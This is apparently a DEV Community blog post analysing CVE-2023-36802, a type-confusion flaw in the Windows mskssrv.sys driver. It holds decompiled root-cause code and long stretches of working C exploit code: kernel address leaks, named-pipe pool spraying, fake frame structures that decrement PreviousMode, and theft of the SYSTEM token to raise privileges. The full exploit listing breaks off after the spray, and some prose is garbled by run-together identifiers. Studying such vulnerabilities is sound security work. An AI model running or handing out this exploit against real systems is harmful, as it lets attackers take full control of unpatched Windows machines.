DEV Community

TutorialBoy
TutorialBoy

Posted on

Analysis of Microsoft Streaming Agent Privilege Elevation Vulnerability - CVE-2023-36802

Image description

This article will introduce the implementation process of the outdoor cases analyzed by Google Project Zero.

Affected versions

mskssrv.sys (~10.0.22621.1848)

Introduction

Before a driver vulnerability can be deeply analyzed to trigger, communication with the driver is required.

Typically, to communicate with the driver, you need to know the device name to get a handle and then use DeviceIoControla function to trigger the required functionality.

To do this, the driver is typically parsed to look at IoCreateDevicethe third parameter DeviceName. But as you can see from the function below, the mskssrv.sys driver is different than usual.

Image description
IoCreateDeviceThe parameters of the function show that the DeviceName parameter is NULL.

Also, as can be inferred from the function name, mskssrv.systhe driver is a Plug and Play (PnP) driver. To communicate with this PnP driver, the device interface path is required.

There are two ways to obtain the device interface path : one is to use the configuration manager function, and the other is to use the SetupAPI function.

You can obtain GUID-related information by viewing the device information through the device manager.

#include <Windows.h>
#include <stdio.h>
#include <cfgmgr32.h>

int main(int argc, char** argv)
{
    GUID class_guid = { 0x3c0d501a, 0x140b, 0x11d1, {0xb4, 0xf, 0x0, 0xa0, 0xc9, 0x22, 0x31, 0x96} };

    WCHAR interface_list[1024] = { 0 };
    CONFIGRET status = CM_Get_Device_Interface_ListW(&class_guid, NULL, interface_list, 1024, CM_GET_DEVICE_INTERFACE_LIST_ALL_DEVICES);
    if (status != CR_SUCCESS) {
        printf("fail to get path\n");
        return -1;
    }
    WCHAR* currInterface = interface_list;
    while (*currInterface) {
        printf("%ls\n", currInterface);
        currInterface += wcslen(currInterface) + 1;
    }
}
Enter fullscreen mode Exit fullscreen mode

If you configure and execute the function as above based on the obtained GUID information, you can find the device interface path called mskssrv.systo communicate with the driver. \?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}

Image description

Root Cause Analysis

__int64 __fastcall FSRendezvousServer::PublishRx(FSRendezvousServer *pStreamObject, struct _IRP *a2)
{
    ...
    fsRegisterObject = (const struct FSRegObject *)currentIOStackLocation->FileObject->FsContext2;
    foundObject = FSRendezvousServer::FindObject(pStreamObject, fsRegisterObject);                                        // no type check
    KeReleaseMutex((PRKMUTEX)((char *)pStreamObject + 8), 0);
    if ( foundObject )
    {
        (*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)fsRegisterObject + 40i64))(fsRegisterObject);
        returnStatus = FSStreamReg::PublishRx(fsRegisterObject, (const struct FSFrameInfo *)associatedMasterIrp);
        if ( returnStatus >= 0 && currentIOStackLocation->Parameters.Create.OutputBufferLength >= 0x18 )
        {
              FSStreamReg::GetStats(fsRegisterObject, (struct FSQueueStats *)a2->AssociatedIrp.MasterIrp);                // type confusion!!
              a2->IoStatus.Information = 24i64;
        }
        (*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)fsRegisterObject + 48i64))(fsRegisterObject);
    }
    else
    {
        return 0xC0000010;
    }
    return (unsigned int)returnStatus;
}
Enter fullscreen mode Exit fullscreen mode

mskssrv.sys There are two objects in the driver , one 0x78with the size of FSContextRegand the other 0x1d8with the size ofFSStreamRegFSRendezvousServer::FindObjectFSStreamReg::PublishRxThe function was originally created to check whether an object exists before calling the function below FSStreamReg, but there is no internal routine to check the type of the object received as an argument.

Therefore, even if an object rather than an object is passed to the function as an argument FSRendezvousServer::FindObject, it returns, and a type confusion vulnerability occurs in which the function is called with an object as an argument by passing the conditional statement below.FSStreamRegFSContextReg1FSContextRegFSStreamReg::PublishRx

__int64 __fastcall FSStreamReg::PublishRx(FSStreamReg *streamRegInstance, const struct FSFrameInfo *frameInfo)
{
    ...
    framesQueuePointer = (_QWORD *)((char *)streamRegInstance + 0x188);                            // out of bound read
    ...
    for ( frameIndex = 0; frameIndex < *((_DWORD *)frameInfo + 9); ++frameIndex )
    {
        if ( (_QWORD *)*framesQueuePointer != framesQueuePointer )
          *((_QWORD *)streamRegInstance + 0x33) = *framesQueuePointer;
        while ( 1 )
        {
          currentFrame = *((_QWORD *)streamRegInstance + 0x33);
          if ( !currentFrame
            || (_QWORD *)*framesQueuePointer == framesQueuePointer
            || (_QWORD *)currentFrame == framesQueuePointer )
          {
            break;
          }
          if ( *(_QWORD *)(currentFrame + 32) == *((_QWORD *)frameInfo + 17 * frameIndex + 6) )
          {
            currentFrameSize = *(_DWORD *)(currentFrame + 0xD0);
            FSFrameMdl::UnmapPages((FSFrameMdl *)currentFrame);
            if ( currentFrameSize )
            {
              ObfDereferenceObject(*((PVOID *)streamRegInstance + 7));
              ObfDereferenceObject(*((PVOID *)streamRegInstance + 0x39));                                // out of bound decrement
            }
            framesUnmappedFlag = 1;
          }
          FSFrameMdlList::MoveNext((FSStreamReg *)((char *)streamRegInstance + 0x140));
        }
    }
    ...
    if ( framesUnmappedFlag )
    {
        keventPointer = (struct _KEVENT *)*((_QWORD *)streamRegInstance + 0x35);
        if ( keventPointer )
          KeSetEvent(keventPointer, 0, 0);
    }
    ...
}

Enter fullscreen mode Exit fullscreen mode

FSStreamReg::PublishRxInside the function, it is assumed that the object received as an argument is an object 0x1D8with a size of , and the operation is performed by referring to the values ​​in , , . At this time, if the object received as an argument is an object of the size , an Out of Bound operation is performed.FSStreamReg+0x188+0x1980x+1C80x78FSContextReg

Primitive

  • FSStreamReg::PublishRxIn the function, +0x1C8the address in ObfDereferenceObjectis executed. The value of the address is made controllable through Heap Feng Shui, and the field of is decreased from 1 to 0 ObfDereferenceObjectthrough the function.KTHREADPreviousMode

  • PreviousModeThat 0is, in kernel mode, the value of the kernel address can be read and written through NtReadVirtualMemoryfunctions and functions.NtWriteVirtualMemory

  • EoP is achieved by overwriting the token value of the current process with the token value read from the system process (PID 4).

Exploit Flow

  • mskssrv.sysOpen the driver using the device interface path you figured out earlier.

  • NtQuerySystemInformation(SystemExtendedHandleInformation,...)Use a function to find some kernel addresses

  • Current KTHREADaddress ( PreviousModeaddress of)

  • Address of current process and system process EPROCESS( TokenAddress of current process and system process)

  • mskssrvFILE_OBJECTaddress of device

  • Refer to the well-known pool spray technique and spray a pool of size IOCTL NtFsControlFilein the function.0x119ff80x80

  • Close a few pipes to create a hole in the pool.

  • IOCTL_FS_INIT_CONTEXTCall IOCTL

  • FSInitializeContextRendezvousA function initializes an object FSRendezvousServer::InitializeContextby calling a function inside it.FSContextReg

  • FSContextRegThe object is 0x78the size of , so it is assigned to the hole we created.

  • IOCTL_PUBLISH_RXCall IOCTL from another thread

  • FSStreamReg::PublishRxCall a function internally

  • FSStreamReg::PublishRxThe function expects and waits for an object 0x1d8of size , but receives an object of size and performs operations on controlled data.FSStreamReg0x78FSContextReg

  • FSStreamReg::PublishRxThe function calls the function targeting FSContextRegan object that is outside the scope of the object. At this time , is reduced to 0 => and targeting the kernel address are successful.ObfDereferenceObject PreviousModeNtReadVirtualMemoryNtWriteVirtualMemory

  • FSStreamReg::PublishRxKeSetEventIf you do not take any specific action when calling from , the value of will be entered POOL_HEADERas the first argument and an exception will be generated, so you must temporarily set the value to => For this purpose, an infinite loop is run through circular references in the loop section through . let it wait for a whileProcessBilledProcessBilledNULL FSFrameMdlList::MoveNext

  • Perform work on the main thread

  • NtReadVirtualMemoryIf the token of the system process is read through a loop

  • PreviousModeand decremented to 0 through the function, NtReadVirtualMemorythe function succeeds.

  • NtWriteVirtualMemoryThe value of the system token is overwritten with the token value of the current process through the function.

  • FSContextRegTo obtain the address of , obtain the address of the field FILE_OBJECTofFSContext2

  • KeSetEventWhen doing this, read and store the referenced ProcessBilledvalue (to recover it later)

  • KeSetEventWhen you do , you will refer to the value (= ) at the offset FSContextRegin the object, which will be overwritten with+0x1a8ProcessBilledNULL

  • The value is appropriately overwritten so that the thread that caused the infinite loop can escape the infinite loop.

  • When this task is completed, the loop thread escapes the loop KeSetEventand calls . NULLHowever, an error occurs because the value for the first argument has already been set to . I never do that

  • FSStreamReg::PublishRxWait for the function to finish on another thread

  • ProcessBilledThe value is restored again for normal operation of the pool.

  • EPROCESSIncrements the current refcount(otherwise a BSOD will occur when the process terminates)

  • PreviousModeMake it 1 again

  • You can now execute commands with system privileges (e.g. cmd.exe)

Exploit Flow with Code

  • mskssrv.sysOpen the driver using the device interface path you figured out earlier.
hMskssrv = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
    GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL,
    CREATE_NEW,
    0,
    NULL);
Enter fullscreen mode Exit fullscreen mode

NtQuerySystemInformation(SystemExtendedHandleInformation,...)Use a function to find some kernel addresses

NTSTATUS status = NtQuerySystemInformation(64, handleInfo, len, &len);    // SystemExtendedHandleInformation
while (status == STATUS_INFO_LENGTH_MISMATCH) {
    free(handleInfo);
    handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);

    if (!handleInfo) {
        printf("\t[-] Memory allocation failed\n");
        return -1;
    }

    status = NtQuerySystemInformation(64, handleInfo, len, &len);
}
if (!NT_SUCCESS(status)) {
    printf("\t[-] NtQuerySystemInformation failed\n");
    free(handleInfo);
    return -1;
}

for (ULONG_PTR i = 0;i < handleInfo->NumberOfHandles; i++) {
    if (handleInfo->Handles[i].HandleValue == cReg &&
        handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
        mskssrv_file_obj = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] mskssrv FILE_OBJECT address: %p\n", mskssrv_file_obj);
    }
    if (handleInfo->Handles[i].HandleValue == hProc &&
        handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
        cur_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] Current EPROCESS address: %p\n", cur_eprocess);
        cur_token = cur_eprocess + 0x4b8;
    }
    if (handleInfo->Handles[i].UniqueProcessId == 4 &&
        handleInfo->Handles[i].HandleValue == 4) {
        system_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] System EPROCESS address: %p\n", system_eprocess);
        system_token = system_eprocess + 0x4b8;
    }
    if (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
        handleInfo->Handles[i].HandleValue == hMainThread) {
        main_kthread = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] main thread KTHREAD address: %p\n", main_kthread);
        main_prevmode = main_kthread + 0x232;
    }
}

Enter fullscreen mode Exit fullscreen mode

64Burn SystemExtendedHandleInformationmeans

If the handle is a thread handle KTHREAD, the address of is the address of the thread object. If the handle is a file handle, FILE_OBJECTthe address of is the address of the file object. If the handle is a process handle, EPROCESSthe address of is Objectthe address of the process object.

Refer to the well-known pool spray technique and spray a pool of size IOCTL NtFsControlFilein the function.0x119ff80x80

NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
    hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);

    tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

    s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
    if (!NT_SUCCESS(s)) {
        printf("\t[-] pool spraying failed, %p\n", s);
        return -1;
    }
}
Enter fullscreen mode Exit fullscreen mode

NpInternalWriteWriteFileIf you allocate User Data instead of through , Buffered Entiresit will be allocated to the pool. In this case, the bytes in front of the User Data will be allocated to the 0x30uncontrollable pool.DATA_QUEUE_ENTRY

On the other hand, if you call NtFsControlFilethrough a function , it is allocated to the pool, and only the User Data space is allocated to the pool, allowing you to control all values ​​in the space.NpInternalWriteUnbuffered Entries

Close a few pipes to create a hole in the pool.

for (int i = spray_size-0x20;i < spray_size;i += 4)
{
    CloseHandle(tmp[i]);        // create hole
    CloseHandle(hPipeArray[i]);
}
Enter fullscreen mode Exit fullscreen mode
  • IOCTL_FS_INIT_CONTEXTCall IOCTL
DeviceIoControl(cReg, IOCTL_FS_INIT_CONTEXT, InitBuf, 0x100, NULL, 0, NULL, NULL);

Enter fullscreen mode Exit fullscreen mode

When you call this, FSContextRegan object is assigned to the hole you created.

  • IOCTL_PUBLISH_RXCall IOCTL from another thread
void thread_sep()
{
    printf("\t[+] Loop Thread Start..\n");
    ULONG_PTR InBuf[0x20] = { 0 };
    InBuf[4] = 0x100000001;
    DeviceIoControl(cReg, IOCTL_PUBLISH_RX, InBuf, 0x100, NULL, 0, NULL, NULL);
    printf("\t\t[+] Loop thread loop finished..\n");
    SetEvent(hEvent);
}

DWORD sep_threadId;
HANDLE hSepThread = CreateThread(NULL, 0, thread_sep, NULL, 0, &sep_threadId);
Enter fullscreen mode Exit fullscreen mode

Image description

InBufSince there is a value that must be greater than 1, it must be adjusted well.

In addition, the data must be adjusted appropriately when sprayed into the pool before, so that an infinite loop can run until the value +0x1a8in is overwritten with .ProcessBilledNULL

FSFrameMdlList::MoveNextThe function puts +0x198the value in +0x198and performs work by referring to that address.

To create an environment, spray should be as follows:

Image description

FSContextRegThe ideal situation is when 3 or more pipe buffers are allocated.

0: kd> !pool rax
Pool page ffff938927724290 region is Nonpaged pool
 ffff938927724000 size:  280 previous size:    0  (Free)       ....
*ffff938927724280 size:   90 previous size:    0  (Allocated) *Creg
        Owning component : Unknown (update pooltag.txt)
 ffff938927724310 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff9389277243a0 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff938927724430 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff9389277244c0 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff938927724550 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
Enter fullscreen mode Exit fullscreen mode

When you first spray, +0x18if you circularly reference PreviousModethe address of and the address of the fake frame in 0x68and , it will cause an infinite loop and can be reduced.0x78PreviousMode

However, PreviousModesince is 1 ObfDereferenceObject, must be executed only once, but if it goes through an infinite loop, it will continue to decrease.

At this time, currentFrame+0xD0if this is 0, ObfDereferenceObjectthis can be solved by not executing.

  • fs1In the first fake frame, +0xD0set the value to 1 and give the address of FSContextRegthe object to execute.+0x188fs1ObfDereferenceObject

  • +0x198If fs2you put the address of and fs2make +0xD0the offset of 0, it will execute ObfDereferenceObjectwithout executing in the next loop.FSFrameMdlList::MoveNext

  • FSFrameMdlList::MoveNextInside the function, fs2the frontmost address of is Next, so put the address of fs2at the front of .fs3

  • fs3Similarly, +0xD0the offset value is set to 0 and the address of is placed fs3at the very beginning of to make circular references to each other.fs2

If you go through the above process, PreviousModeit will decrease once and become 0, leading to an infinite loop.

Below is the spray code that configures the buffer to satisfy this.

fake_stream fs1 = { 0 };
fake_stream fs2 = { 0 };
fake_stream fs3 = { 0 };
fs1.data[0] = &fs2;
fs1.data[0x1a] = 0x1;
fs2.data[0] = &fs3;
fs3.data[0] = &fs2;

ULONG_PTR Inbuf[0x20] = { 0 };
Inbuf[3] = main_prevmode + 0x30;
Inbuf[0xd] = &fs1;
Inbuf[0xf] = &fs2;

NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
    hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);

    tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

    s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
    if (!NT_SUCCESS(s)) {
        printf("\t[-] pool spraying failed, %p\n", s);
        return -1;
    }
}
Enter fullscreen mode Exit fullscreen mode

PreviousMode+0x30Reason for entering the address of

LONG_PTR __stdcall ObfDereferenceObject(PVOID Object)
{
    ...
    if ( ObpTraceFlags )
        ObpPushStackInfo((char *)Object - 48, 0i64, 1i64, 1953261124i64);
    v2 = _InterlockedExchangeAdd64((volatile signed __int64 *)Object - 6, 0xFFFFFFFFFFFFFFFFui64);    // operate -1
    v3 = v2 <= 1;
    BugCheckParameter4 = v2 - 1;
    if ( !v3 )
        return BugCheckParameter4;
    ...
}
Enter fullscreen mode Exit fullscreen mode

ObfDereferenceObjectIf you look at the function, since the operation is performed Object-0x30on the value in received as an argument , the value of must be decreased by adding the value to the address of found.-1PreviousMode0x30PreviousMode1

  • Perform work on the main thread
void thread_main()
{
    printf("\t[+] Main Thread Start and Wait for Previous mode overwritten to 0\n");
    char leak_prevmode = 1;
    ULONG_PTR junk = 0;
    NTSTATUS status = -1;
    while (!main_prevmode) {
        ;
    }
    ULONG_PTR system_token_val = 0;
    while (status != STATUS_SUCCESS) {
        status = NtReadVirtualMemory(hProc, system_token, &system_token_val, 8, &junk);
    }
    printf("\t\t[+] Overwrite PrevMode Success\n");
    NtWriteVirtualMemory(hProc, cur_token, &system_token_val, 8, &junk);
    printf("\t\t[+] OverWrite Current token to system token done, value: %p\n", system_token_val);
    ULONG_PTR context2 = 0;
    NtReadVirtualMemory(hProc, mskssrv_file_obj + 0x20, &context2, 8, &junk);
    printf("\t\t[+] FsContextReg Object addr: %p\n", context2);
    ULONG_PTR ProcessBilled = 0;
    NtReadVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t[+] ProcessBilled Value: %p\n", ProcessBilled);
    ULONG_PTR null_ = 0;
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &null_, 8, &junk);
    printf("\t\t[+] Overwrite ProcessBilled field to zero done\n");
    NtWriteVirtualMemory(hProc, context2 + 0x198, &null_, 8, &junk);
    printf("\t\t[+] Overwrite FsContextReg object+0x188 to zero to break loop\n");
    WaitForSingleObject(hEvent, INFINITE);

    printf("\t\t[+] Restore Start..\n");
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t\t[+] Restore ProcessBilled field done\n");
    ULONG_PTR object_header = cur_eprocess - 0x30;
    ULONG_PTR PointerCount = 0;
    printf("\t\t\t[+] Current EPROCESS's OBJECT_HEADER address: %p\n", object_header);
    NtReadVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Ref Count: 0x%p\n", PointerCount);
    PointerCount++;
    NtWriteVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Increment of current EPROCESS object done\n");
    NtWriteVirtualMemory(hProc, main_prevmode, &leak_prevmode, 1, &junk);
    printf("\t\t\t[+] Reset PreviousMode to 1 done\n");
}

Enter fullscreen mode Exit fullscreen mode

NtReadVirtualMemoryRepeat until success, and if successful, perform token copy and recovery to achieve EoP.

  • FSContextRegHow to find object address

Image description

FileObjectSince the address of NtQuerySystemInformation was found through the function, all you have to do is find the address of the field FILE_OBJECTinside the structure.FsContext2

struct _FILE_OBJECT
{
    SHORT Type;                                                             //0x0
    SHORT Size;                                                             //0x2
    struct _DEVICE_OBJECT* DeviceObject;                                    //0x8
    struct _VPB* Vpb;                                                       //0x10
    VOID* FsContext;                                                        //0x18
    VOID* FsContext2;                                                       //0x20 <- here
    struct _SECTION_OBJECT_POINTERS* SectionObjectPointer;                  //0x28
    VOID* PrivateCacheMap;                                                  //0x30
    LONG FinalStatus;                                                       //0x38
    struct _FILE_OBJECT* RelatedFileObject;                                 //0x40
    UCHAR LockOperation;                                                    //0x48
    UCHAR DeletePending;                                                    //0x49
    UCHAR ReadAccess;                                                       //0x4a
    UCHAR WriteAccess;                                                      //0x4b
    UCHAR DeleteAccess;                                                     //0x4c
    UCHAR SharedRead;                                                       //0x4d
    UCHAR SharedWrite;                                                      //0x4e
    UCHAR SharedDelete;                                                     //0x4f
    ULONG Flags;                                                            //0x50
    struct _UNICODE_STRING FileName;                                        //0x58
    union _LARGE_INTEGER CurrentByteOffset;                                 //0x68
    ULONG Waiters;                                                          //0x70
    ULONG Busy;                                                             //0x74
    VOID* LastLock;                                                         //0x78
    struct _KEVENT Lock;                                                    //0x80
    struct _KEVENT Event;                                                   //0x98
    struct _IO_COMPLETION_CONTEXT* CompletionContext;                       //0xb0
    ULONGLONG IrpListLock;                                                  //0xb8
    struct _LIST_ENTRY IrpList;                                             //0xc0
    VOID* FileObjectExtension;                                              //0xd0
};
Enter fullscreen mode Exit fullscreen mode

Full Exploit Code

LINK

#include "defs.h"

#define IOCTL_FS_INIT_CONTEXT    0x2F0400
#define IOCTL_PUBLISH_RX        0x2F040C

#define SPRAY_SIZE 20000

HANDLE hEvent;
ULONG_PTR mskssrv_file_obj;
ULONG_PTR cur_eprocess;
ULONG_PTR cur_token;
ULONG_PTR system_eprocess;
ULONG_PTR system_token;
ULONG_PTR main_kthread;
ULONG_PTR main_prevmode;
HANDLE hMskssrv;
NtWriteVirtualMemoryFunc NtWriteVirtualMemory;
NtReadVirtualMemoryFunc NtReadVirtualMemory;
HANDLE hProc;
HANDLE hMainThread;
HANDLE cReg;
HANDLE hSystem;

typedef struct fake_stream_ {
    ULONG_PTR data[0x3b];
}fake_stream;

void thread_main()
{
    printf("\t[+] Main Thread Start and Wait for Previous mode overwritten to 0\n");
    char leak_prevmode = 1;
    ULONG_PTR junk = 0;
    NTSTATUS status = -1;
    while (!main_prevmode) {
        ;
    }
    ULONG_PTR system_token_val = 0;
    while (status != STATUS_SUCCESS) {
        status = NtReadVirtualMemory(hProc, system_token, &system_token_val, 8, &junk);
    }
    printf("\t\t[+] Overwrite PrevMode Success\n");
    NtWriteVirtualMemory(hProc, cur_token, &system_token_val, 8, &junk);
    printf("\t\t[+] OverWrite Current token to system token done, value: %p\n", system_token_val);
    ULONG_PTR context2 = 0;
    NtReadVirtualMemory(hProc, mskssrv_file_obj + 0x20, &context2, 8, &junk);
    printf("\t\t[+] FsContextReg Object addr: %p\n", context2);
    ULONG_PTR ProcessBilled = 0;
    NtReadVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t[+] ProcessBilled Value: %p\n", ProcessBilled);
    ULONG_PTR null_ = 0;
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &null_, 8, &junk);
    printf("\t\t[+] Overwrite ProcessBilled field to zero done\n");
    NtWriteVirtualMemory(hProc, context2 + 0x198, &null_, 8, &junk);
    printf("\t\t[+] Overwrite FsContextReg object+0x188 to zero to break loop\n");
    WaitForSingleObject(hEvent, INFINITE);

    printf("\t\t[+] Restore Start..\n");
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t\t[+] Restore ProcessBilled field done\n");
    ULONG_PTR object_header = cur_eprocess - 0x30;
    ULONG_PTR PointerCount = 0;
    printf("\t\t\t[+] Current EPROCESS's OBJECT_HEADER address: %p\n", object_header);
    NtReadVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Ref Count: 0x%p\n", PointerCount);
    PointerCount++;
    NtWriteVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Increment of current EPROCESS object done\n");
    NtWriteVirtualMemory(hProc, main_prevmode, &leak_prevmode, 1, &junk);
    printf("\t\t\t[+] Reset PreviousMode to 1 done\n");
}

void thread_sep()
{
    printf("\t[+] Loop Thread Start..\n");
    ULONG_PTR InBuf[0x20] = { 0 };
    InBuf[4] = 0x100000001;
    DeviceIoControl(cReg, IOCTL_PUBLISH_RX, InBuf, 0x100, NULL, 0, NULL, NULL);
    printf("\t\t[+] Loop thread loop finished..\n");
    SetEvent(hEvent);
}

int main(int argc, char** argv)
{
    printf("[+] Start CVE-2023-36802 Exploit..\n");
    HMODULE hNtDll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtDll) {
        printf("\t[-] Failed to get ntdll handle.\n");
        return -1;
    }

    NtFsControlFileFunc NtFsControlFile = (NtFsControlFileFunc)GetProcAddress(hNtDll, "NtFsControlFile");
    NtReadVirtualMemory = (NtReadVirtualMemoryFunc)GetProcAddress(hNtDll, "NtReadVirtualMemory");
    NtWriteVirtualMemory = (NtWriteVirtualMemoryFunc)GetProcAddress(hNtDll, "NtWriteVirtualMemory");
    if (!NtFsControlFile || !NtReadVirtualMemory || !NtWriteVirtualMemory) {
        printf("\t[-] Failed to get Nt function address.\n");
        return -1;
    }

    // Open mskssrv device
    hMskssrv = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_NEW,
        0,
        NULL);

    // Leak required kernel address
    ULONG len = sizeof(SYSTEM_HANDLE_INFORMATION_EX);
    PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
    handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);
    if (!handleInfo) {
        printf("\t[-] Memory allocation failed\n");
        return -1;
    }

    hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());
    DWORD main_threadId;
    hMainThread = CreateThread(NULL, 0, thread_main, NULL, 0, &main_threadId);

    cReg = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_NEW,
        0,
        NULL);

    NTSTATUS status = NtQuerySystemInformation(64, handleInfo, len, &len);    // SystemExtendedHandleInformation
    while (status == STATUS_INFO_LENGTH_MISMATCH) {
        free(handleInfo);
        handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);

        if (!handleInfo) {
            printf("\t[-] Memory allocation failed\n");
            return -1;
        }

        status = NtQuerySystemInformation(64, handleInfo, len, &len);
    }
    if (!NT_SUCCESS(status)) {
        printf("\t[-] NtQuerySystemInformation failed\n");
        free(handleInfo);
        return -1;
    }

    for (ULONG_PTR i = 0;i < handleInfo->NumberOfHandles; i++) {
        if (handleInfo->Handles[i].HandleValue == cReg &&
            handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
            mskssrv_file_obj = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] mskssrv FILE_OBJECT address: %p\n", mskssrv_file_obj);
        }
        if (handleInfo->Handles[i].HandleValue == hProc &&
            handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
            cur_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] Current EPROCESS address: %p\n", cur_eprocess);
            cur_token = cur_eprocess + 0x4b8;
        }
        if (handleInfo->Handles[i].UniqueProcessId == 4 &&
            handleInfo->Handles[i].HandleValue == 4) {
            system_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] System EPROCESS address: %p\n", system_eprocess);
            system_token = system_eprocess + 0x4b8;
        }
        if (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
            handleInfo->Handles[i].HandleValue == hMainThread) {
            main_kthread = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] main thread KTHREAD address: %p\n", main_kthread);
            main_prevmode = main_kthread + 0x232;
        }
    }

    // Spraying pool
    DWORD spray_size = SPRAY_SIZE;
    PHANDLE hPipeArray = malloc(sizeof(HANDLE) * spray_size);
    PHANDLE hFileArray = malloc(sizeof(HANDLE) * spray_size);
    IO_STATUS_BLOCK isb;

    fake_stream fs1 = { 0 };
    fake_stream fs2 = { 0 };
    fake_stream fs3 = { 0 };
    fs1.data[0] = &fs2;
    fs1.data[0x1a] = 0x1;
    fs2.data[0] = &fs3;
    fs3.data[0] = &fs2;

    ULONG_PTR Inbuf[0x20] = { 0 };
    Inbuf[3] = main_prevmode + 0x30;
    Inbuf[0xd] = &fs1;
    Inbuf[0xf] = &fs2;

    NTSTATUS s;
    HANDLE tmp[SPRAY_SIZE] = { 0 };
    for (int i = 0;i < spray_size;i++) {
        hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
            PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);

        tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

        s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
        if (!NT_SUCCESS(s)) {
            printf("\t[-] pool spraying failed, %p\n", s);
            return -1;
        }
    }

    //Create Holes
